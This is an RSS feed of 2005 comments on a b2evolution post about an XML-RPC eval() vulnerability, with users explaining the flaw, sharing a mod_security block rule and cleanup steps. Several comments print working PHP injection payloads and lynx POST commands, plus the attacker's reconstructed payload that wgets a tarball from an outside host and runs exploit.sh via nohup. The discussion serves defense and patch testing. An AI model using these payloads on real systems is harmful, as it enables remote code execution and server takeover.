<?xml version="1.0" encoding="utf-8"?><!-- generator="b2evolution/7.3.0-PRO" -->
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:admin="http://webns.net/mvcb/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>b2evolution News Blog - Latest Comments on Fix for XML-RPC vulnerability (again!)</title>
		<link>https://b2evolution.net/news/?disp=comments</link>
		<atom:link rel="self" type="application/rss+xml" href="https://b2evolution.net/news/?tempskin=_rss2&#38;disp=comments&#38;p=65102" />
		<description></description>
		<language>en-US</language>
		<docs>http://backend.userland.com/rss</docs>
		<admin:generatorAgent rdf:resource="http://b2evolution.net/?v=7.3.0-PRO"/>
		<ttl>60</ttl>
		<item>
			<title> StevensF in response to: Fix for XML-RPC vulnerability (again!)</title>
			<pubDate>Thu, 24 Nov 2005 18:58:17 +0000</pubDate>
			<dc:creator><span class="user anonymous" rel="bubbletip_comment_7232">StevensF</span></dc:creator>
			<guid isPermaLink="false">c7232@https://b2evolution.net/</guid>
			<description>&lt;p&gt;Keep on the good work.&lt;br /&gt;
 &lt;/p&gt;</description>
			<content:encoded><![CDATA[<p>Keep on the good work.<br />
 </p>]]></content:encoded>
			<link>https://b2evolution.net/news/2005/08/31/fix_for_xml_rpc_vulnerability_again_1#c7232</link>
		</item>
		<item>
			<title>jwedgeco in response to: Fix for XML-RPC vulnerability (again!)</title>
			<pubDate>Wed, 12 Oct 2005 10:37:31 +0000</pubDate>
			<dc:creator><span class="login user nowrap" rel="bubbletip_user_214"><span class="identity_link_username">jwedgeco</span></span></dc:creator>
			<guid isPermaLink="false">c5200@https://b2evolution.net/</guid>
			<description>&lt;p&gt;If you can&amp;#8217;t patch or are extra paranoid, try this mod_security rule&lt;/p&gt;

&lt;p&gt;# block access to b2evolutions &lt;a href=&quot;http://www.tellmewhatis.com/xml&quot; rel=&quot;nofollow ugc&quot;&gt;xml&lt;/a&gt; interface&lt;br /&gt;
SecFilterSelective REQUEST_URI &amp;#8220;/blogs/xmlsrv/xmlrpc.php&amp;#8221;&lt;/p&gt;
</description>
			<content:encoded><![CDATA[<p>If you can&#8217;t patch or are extra paranoid, try this mod_security rule</p>

<p># block access to b2evolutions <a href="http://www.tellmewhatis.com/xml" rel="nofollow ugc">xml</a> interface<br />
SecFilterSelective REQUEST_URI &#8220;/blogs/xmlsrv/xmlrpc.php&#8221;</p>
]]></content:encoded>
			<link>https://b2evolution.net/news/2005/08/31/fix_for_xml_rpc_vulnerability_again_1#c5200</link>
		</item>
		<item>
			<title> Enric Naval in response to: Fix for XML-RPC vulnerability (again!)</title>
			<pubDate>Fri, 16 Sep 2005 11:58:57 +0000</pubDate>
			<dc:creator><span class="user anonymous" rel="bubbletip_comment_4580">Enric Naval</span></dc:creator>
			<guid isPermaLink="false">c4580@https://b2evolution.net/</guid>
			<description>&lt;p&gt;(continues)&lt;/p&gt;

&lt;p&gt;I don&amp;#8217;t know the variable that was used for the exploit, but if you ever get to know its name then you can attempt to hack your unpatched weblog using this. Replace &amp;#8220;var_name&amp;#8221; and &amp;#8220;weblog_url&quot;. That&amp;#8217;s &lt;b&gt;your&lt;/b&gt; unpatched weblog, not &lt;b&gt;an&lt;/b&gt; :)&lt;/p&gt;

&lt;p&gt;(you have to escape the single quotes for &amp;#8220;echo&amp;#8221; to work)&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;br /&gt;
echo &#039;&lt;br /&gt;
var_name=,\&#039;\&#039;);echo \&#039;I got hacked.\&#039;;exit;/*&lt;br /&gt;
---&lt;br /&gt;
&#039; | lynx -post_data weblog_url/xmlsrv/xmlrpc.php &lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And of course:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;br /&gt;
echo &#039;&lt;br /&gt;
var_name=,\&#039;\&#039;);echo \&#039;Hello, world.\&#039;;mail(root,\&#039;p0wned!\&#039;,\&#039;Patch b2evolution for XML-RPC.\&#039;);exit;/*&lt;br /&gt;
---&lt;br /&gt;
&#039; | lynx -post_data weblog_url/xmlsrv/xmlrpc.php &lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;</description>
			<content:encoded><![CDATA[<p>(continues)</p>

<p>I don&#8217;t know the variable that was used for the exploit, but if you ever get to know its name then you can attempt to hack your unpatched weblog using this. Replace &#8220;var_name&#8221; and &#8220;weblog_url". That&#8217;s <b>your</b> unpatched weblog, not <b>an</b> :)</p>

<p>(you have to escape the single quotes for &#8220;echo&#8221; to work)</p>

<p><code><br />
echo '<br />
var_name=,\'\');echo \'I got hacked.\';exit;/*<br />
---<br />
' | lynx -post_data weblog_url/xmlsrv/xmlrpc.php <br />
</code></p>

<p>And of course:</p>

<p><code><br />
echo '<br />
var_name=,\'\');echo \'Hello, world.\';mail(root,\'p0wned!\',\'Patch b2evolution for XML-RPC.\');exit;/*<br />
---<br />
' | lynx -post_data weblog_url/xmlsrv/xmlrpc.php <br />
</code></p>]]></content:encoded>
			<link>https://b2evolution.net/news/2005/08/31/fix_for_xml_rpc_vulnerability_again_1#c4580</link>
		</item>
		<item>
			<title> Enric Naval in response to: Fix for XML-RPC vulnerability (again!)</title>
			<pubDate>Fri, 16 Sep 2005 11:56:56 +0000</pubDate>
			<dc:creator><span class="user anonymous" rel="bubbletip_comment_4579">Enric Naval</span></dc:creator>
			<guid isPermaLink="false">c4579@https://b2evolution.net/</guid>
			<description>&lt;p&gt;So, my hacker, as seen in former posts, probably used a query string like this :&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;br /&gt;
var=,&#039;&#039;)); system(&#039;wget linuxgods\.go\.ro/local\.tgz; tar -xzf local.tgz /tmp; nohup /tmp/local/exploit.sh&amp;amp;;&#039;);exit;/*&lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Download the program, uncompress and execute in background using nohup so the program will continue running after its father (the PHP page) has died.&lt;/p&gt;</description>
			<content:encoded><![CDATA[<p>So, my hacker, as seen in former posts, probably used a query string like this :</p>

<p><code><br />
var=,'')); system('wget linuxgods\.go\.ro/local\.tgz; tar -xzf local.tgz /tmp; nohup /tmp/local/exploit.sh&amp;;');exit;/*<br />
</code></p>

<p>Download the program, uncompress and execute in background using nohup so the program will continue running after its father (the PHP page) has died.</p>]]></content:encoded>
			<link>https://b2evolution.net/news/2005/08/31/fix_for_xml_rpc_vulnerability_again_1#c4579</link>
		</item>
		<item>
			<title> Enric Naval in response to: Fix for XML-RPC vulnerability (again!)</title>
			<pubDate>Fri, 16 Sep 2005 11:38:31 +0000</pubDate>
			<dc:creator><span class="user anonymous" rel="bubbletip_comment_4577">Enric Naval</span></dc:creator>
			<guid isPermaLink="false">c4577@https://b2evolution.net/</guid>
			<description>&lt;p&gt;According to the explanation for the XML-RPC exploit, the problem is that they use eval() in data extracted from  $HTTP_RAW_POST_DATA. &lt;/p&gt;

&lt;p&gt;Gulf Tech report of XML-RPC vulnerability&lt;/p&gt;

&lt;p&gt;They say the problem is that magic_quotes_gpc() isn&amp;#8217;t applied to $HTTP_RAW_POST_DATA, so you can POST a parameter containing a single quote.&lt;/p&gt;

&lt;p&gt;This single quote, which was not escaped using magic_quotes_gpc(), allows you to end a string with the single quote, add a semicolon &amp;#8220;;&amp;#8221; to end the actual statement and execute whatever code you fancy.&lt;/p&gt;

&lt;p&gt;So, for example, if you know that the page is reading the variable &amp;#8220;var&amp;#8221; from the raw POST, you can send this query string.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;br /&gt;
var=,&#039;&#039;)); phpinfo(); exit;/*&lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;In this case, I believe that &amp;#8220;,&#039;&amp;#8217;));&amp;#8221; finishes correctly the actual call to eval. Everything after the semicolon will be then executed by the server as if it was code in the PHP page.&lt;/p&gt;

&lt;p&gt;&amp;#8220;phpinfo();&amp;#8221; This executes phpinfo() &lt;br /&gt;
&amp;#8220;exit;&amp;#8221;  This exits the PHP page.&lt;br /&gt;
&amp;#8220;/*&amp;#8221;   and then it comments the rest of the code, so it won&amp;#8217;t execute and won&amp;#8217;t dump error to some log.&lt;/p&gt;

&lt;p&gt;(I will continue later, I have problems posting)&lt;/p&gt;</description>
			<content:encoded><![CDATA[<p>According to the explanation for the XML-RPC exploit, the problem is that they use eval() in data extracted from  $HTTP_RAW_POST_DATA. </p>

<p>Gulf Tech report of XML-RPC vulnerability</p>

<p>They say the problem is that magic_quotes_gpc() isn&#8217;t applied to $HTTP_RAW_POST_DATA, so you can POST a parameter containing a single quote.</p>

<p>This single quote, which was not escaped using magic_quotes_gpc(), allows you to end a string with the single quote, add a semicolon &#8220;;&#8221; to end the actual statement and execute whatever code you fancy.</p>

<p>So, for example, if you know that the page is reading the variable &#8220;var&#8221; from the raw POST, you can send this query string.</p>

<p><code><br />
var=,'')); phpinfo(); exit;/*<br />
</code></p>

<p>In this case, I believe that &#8220;,'&#8217;));&#8221; finishes correctly the actual call to eval. Everything after the semicolon will be then executed by the server as if it was code in the PHP page.</p>

<p>&#8220;phpinfo();&#8221; This executes phpinfo() <br />
&#8220;exit;&#8221;  This exits the PHP page.<br />
&#8220;/*&#8221;   and then it comments the rest of the code, so it won&#8217;t execute and won&#8217;t dump error to some log.</p>

<p>(I will continue later, I have problems posting)</p>]]></content:encoded>
			<link>https://b2evolution.net/news/2005/08/31/fix_for_xml_rpc_vulnerability_again_1#c4577</link>
		</item>
		<item>
			<title> Lenwood in response to: Fix for XML-RPC vulnerability (again!)</title>
			<pubDate>Mon, 05 Sep 2005 03:43:40 +0000</pubDate>
			<dc:creator><span class="user anonymous" rel="bubbletip_comment_4393">Lenwood</span></dc:creator>
			<guid isPermaLink="false">c4393@https://b2evolution.net/</guid>
			<description>&lt;p&gt;Can someone explain how to test this properly?&lt;/p&gt;

&lt;p&gt;Thanks,&lt;br /&gt;
Chris&lt;/p&gt;</description>
			<content:encoded><![CDATA[<p>Can someone explain how to test this properly?</p>

<p>Thanks,<br />
Chris</p>]]></content:encoded>
			<link>https://b2evolution.net/news/2005/08/31/fix_for_xml_rpc_vulnerability_again_1#c4393</link>
		</item>
		<item>
			<title>wrabbit in response to: Fix for XML-RPC vulnerability (again!)</title>
			<pubDate>Sat, 03 Sep 2005 19:04:30 +0000</pubDate>
			<dc:creator><span class="login user nowrap" rel="bubbletip_user_148"><span class="identity_link_username">wrabbit</span></span></dc:creator>
			<guid isPermaLink="false">c4278@https://b2evolution.net/</guid>
			<description>&lt;p&gt;Yeah, they just got me yesterday.  Someone used it to upload a mail-sending PHP script, which they used to send out paypal scam emails.  My host disabled my site until I was able to figure out how it happened.&lt;/p&gt;</description>
			<content:encoded><![CDATA[<p>Yeah, they just got me yesterday.  Someone used it to upload a mail-sending PHP script, which they used to send out paypal scam emails.  My host disabled my site until I was able to figure out how it happened.</p>]]></content:encoded>
			<link>https://b2evolution.net/news/2005/08/31/fix_for_xml_rpc_vulnerability_again_1#c4278</link>
		</item>
		<item>
			<title> Enric Naval in response to: Fix for XML-RPC vulnerability (again!)</title>
			<pubDate>Sat, 03 Sep 2005 13:06:35 +0000</pubDate>
			<dc:creator><span class="user anonymous" rel="bubbletip_comment_4230">Enric Naval</span></dc:creator>
			<guid isPermaLink="false">c4230@https://b2evolution.net/</guid>
			<description>&lt;p&gt;note: I knew the hacking program hadn&amp;#8217;t made anything harmful because I looked at ethereal and at the tcpdump output, and there were only the usual traffic plus the IRC connections. I actually executed the program myself to see what it did in the ethereal screen!&lt;/p&gt;

&lt;p&gt;note: I just found a hacking program in /tmp, seems the hacker managed to download the program, but couldn&amp;#8217;t execute it. If you have had visitors to your xmlrpc file in access_log, and of you run apache as user &amp;#8220;apache&quot;, look for strange directories in &amp;#8220;/tmp&amp;#8221; and &amp;#8220;/var/tmp&amp;#8221; and read this message. &lt;/p&gt;


&lt;p&gt;The last time I found the downloaded program binaries here:&lt;/p&gt;

&lt;p&gt;/tmp/ /.zbind   &lt;/p&gt;

&lt;p&gt;/var/tmp/ /.zbind  &lt;/p&gt;

&lt;p&gt;Notice the directory name is a single space. Notice the dot causes the directory not to be displayed when doing &amp;#8220;ls -l&quot;.&lt;/p&gt;

&lt;p&gt;I had to delete the directory like this:&lt;/p&gt;

&lt;p&gt;rm &amp;#8220;/tmp/ &amp;#8220;&lt;/p&gt;

&lt;p&gt;To enter the directory&lt;/p&gt;

&lt;p&gt;cd &amp;#8220;/tmp/ &amp;#8220;&lt;/p&gt;

&lt;p&gt;or&lt;/p&gt;

&lt;p&gt;cd /tmp&lt;br /&gt;
cd &amp;#8221; &amp;#8220;&lt;/p&gt;


&lt;p&gt;Well, that&amp;#8217;s all. Good luck with your servers.&lt;/p&gt;</description>
			<content:encoded><![CDATA[<p>note: I knew the hacking program hadn&#8217;t made anything harmful because I looked at ethereal and at the tcpdump output, and there were only the usual traffic plus the IRC connections. I actually executed the program myself to see what it did in the ethereal screen!</p>

<p>note: I just found a hacking program in /tmp, seems the hacker managed to download the program, but couldn&#8217;t execute it. If you have had visitors to your xmlrpc file in access_log, and of you run apache as user &#8220;apache", look for strange directories in &#8220;/tmp&#8221; and &#8220;/var/tmp&#8221; and read this message. </p>


<p>The last time I found the downloaded program binaries here:</p>

<p>/tmp/ /.zbind   </p>

<p>/var/tmp/ /.zbind  </p>

<p>Notice the directory name is a single space. Notice the dot causes the directory not to be displayed when doing &#8220;ls -l".</p>

<p>I had to delete the directory like this:</p>

<p>rm &#8220;/tmp/ &#8220;</p>

<p>To enter the directory</p>

<p>cd &#8220;/tmp/ &#8220;</p>

<p>or</p>

<p>cd /tmp<br />
cd &#8221; &#8220;</p>


<p>Well, that&#8217;s all. Good luck with your servers.</p>]]></content:encoded>
			<link>https://b2evolution.net/news/2005/08/31/fix_for_xml_rpc_vulnerability_again_1#c4230</link>
		</item>
			</channel>
</rss>
